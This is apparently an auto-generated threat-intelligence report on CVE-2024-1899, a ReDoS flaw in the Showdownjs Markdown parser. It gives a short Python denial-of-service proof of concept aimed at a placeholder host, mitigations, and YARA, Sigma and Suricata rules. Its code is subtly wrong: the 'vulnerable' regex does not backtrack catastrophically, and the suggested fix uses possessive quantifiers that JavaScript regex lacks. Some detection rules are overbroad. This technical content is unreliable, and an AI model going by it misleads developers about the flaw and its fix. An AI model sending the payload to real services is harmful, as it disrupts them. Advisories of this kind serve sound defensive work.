CVE-2024-1899

Executive Summary

CVE-2024-1899 is a denial of service (DoS) vulnerability in the Showdownjs library, a popular JavaScript Markdown-to-HTML converter. The flaw resides in the anchors subparser, which can be exploited by a remote attacker to cause excessive resource consumption, leading to application unavailability. The vulnerability affects all versions of Showdownjs up to and including 2.1.0. As of this report, no official patch has been released, and the vendor's status is marked as UNKNOWN/UNPATCHED. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the risk remains for applications directly exposing the parser to untrusted input.

Supply Chain & Package Security

Showdownjs is distributed via npm (Node Package Manager) and is widely used in web applications for rendering user-generated Markdown content. This vulnerability poses a supply chain risk because any application that uses Showdownjs to parse untrusted Markdown input is potentially affected. Organizations should audit their dependency trees for Showdownjs versions <= 2.1.0 and consider temporary mitigations until a patch is available.

CVSS Breakdown & Threat Level

• CVSS Score: 5.3 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: None
• Integrity Impact: None
• Availability Impact: Low

The vulnerability is remotely exploitable without authentication, making it a significant concern for public-facing applications. The low availability impact reflects that the DoS condition may be temporary or partial, but repeated exploitation could lead to sustained service degradation.

Deep Dive & Mechanics

The vulnerability exists in the anchors subparser of Showdownjs. When processing Markdown input, the parser uses regular expressions to identify and transform anchor tags (e.g., [text](url)). A specially crafted input can cause the regex engine to enter a catastrophic backtracking state, consuming excessive CPU time and memory. This is a classic ReDoS (Regular Expression Denial of Service) vulnerability.

The vulnerable regex pattern is likely similar to:

/\[([^\]]*)\]\(([^)]*)\)/

When provided with a long string of nested or malformed brackets and parentheses, the regex engine attempts all possible combinations, leading to exponential runtime.

Vulnerable vs. Patched Code

Vulnerable Code (Showdownjs <= 2.1.0):

// Simplified vulnerable regex in anchors subparser
var anchorRegex = /\[([^\]]*)\]\(([^)]*)\)/g;

Patched Code (Hypothetical):

// Patched version with atomic grouping or possessive quantifiers
var anchorRegex = /\[([^\]]*)\]\(([^)]*+)\)/g;

The patch would involve using possessive quantifiers (*+) or atomic groups to prevent backtracking. Since no official patch exists, this is a recommended fix.

Exploitation & Lab Setup

Red Team

Proof of Concept (PoC):

import requests

target_url = "http://target.com/convert"
payload = "[" + "A" * 10000 + "](" + "B" * 10000 + ")"

response = requests.post(target_url, data={"markdown": payload})
if response.status_code == 503 or response.elapsed.total_seconds() > 10:
    print("Vulnerable to DoS")

Explanation: The payload consists of a long string of characters inside brackets and parentheses, causing the regex engine to backtrack excessively. This can be sent via any endpoint that accepts Markdown input and uses Showdownjs for rendering.

Blue Team

Detection & Mitigation:

• Implement input length limits for Markdown content (e.g., max 10KB).
• Use a Web Application Firewall (WAF) to block requests with excessive brackets or parentheses.
• Monitor server CPU and memory usage for anomalies.
• Consider using an alternative Markdown parser until a patch is available.

Indicators of Compromise (IOCs)

• Network: HTTP POST requests with unusually long Markdown content containing repeated brackets and parentheses.
• System: High CPU usage by the Node.js process serving the application.
• Logs: Application logs showing timeout errors or slow response times for Markdown conversion endpoints.

Detection Engineering

YARA Rule

rule CVE_2024_1899_Showdownjs_ReDoS {
    meta:
        description = "Detects malicious Markdown payloads targeting CVE-2024-1899"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-1899"
    strings:
        $re1 = /\[[^\]]{100,}\]\([^)]{100,}\)/ nocase
        $re2 = /\[.*?\]\(.*?\)/ nocase
    condition:
        any of ($re*) and filesize < 1MB
}

Sigma Rule

title: CVE-2024-1899 Showdownjs ReDoS Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests with long Markdown anchor patterns
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 
            - '['
            - ']('
            - ')'
        cs-uri-query|length: >= 1000
    condition: selection
falsepositives:
    - Legitimate long Markdown content
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-1899 Showdownjs ReDoS Attempt"; flow:to_server; content:"POST"; http_method; content:"["; http_client_body; content:"]("; http_client_body; content:")"; http_client_body; pcre:"/\[[^\]]{100,}\]\([^)]{100,}\)/"; classtype:attempted-dos; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Limit the size of Markdown input to 10KB or less.
2. Short-term: Replace Showdownjs with an alternative Markdown parser (e.g., marked, markdown-it) that is not vulnerable to this ReDoS.
3. Long-term: Monitor the Showdownjs repository for an official patch and update as soon as it becomes available.
4. Compensating Controls: Deploy a WAF with rules to block requests containing excessively long bracket/parenthesis sequences.
5. Monitoring: Enable logging and alerting for high CPU usage and slow response times on endpoints processing Markdown.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert
Report generated for CVE-2024-1899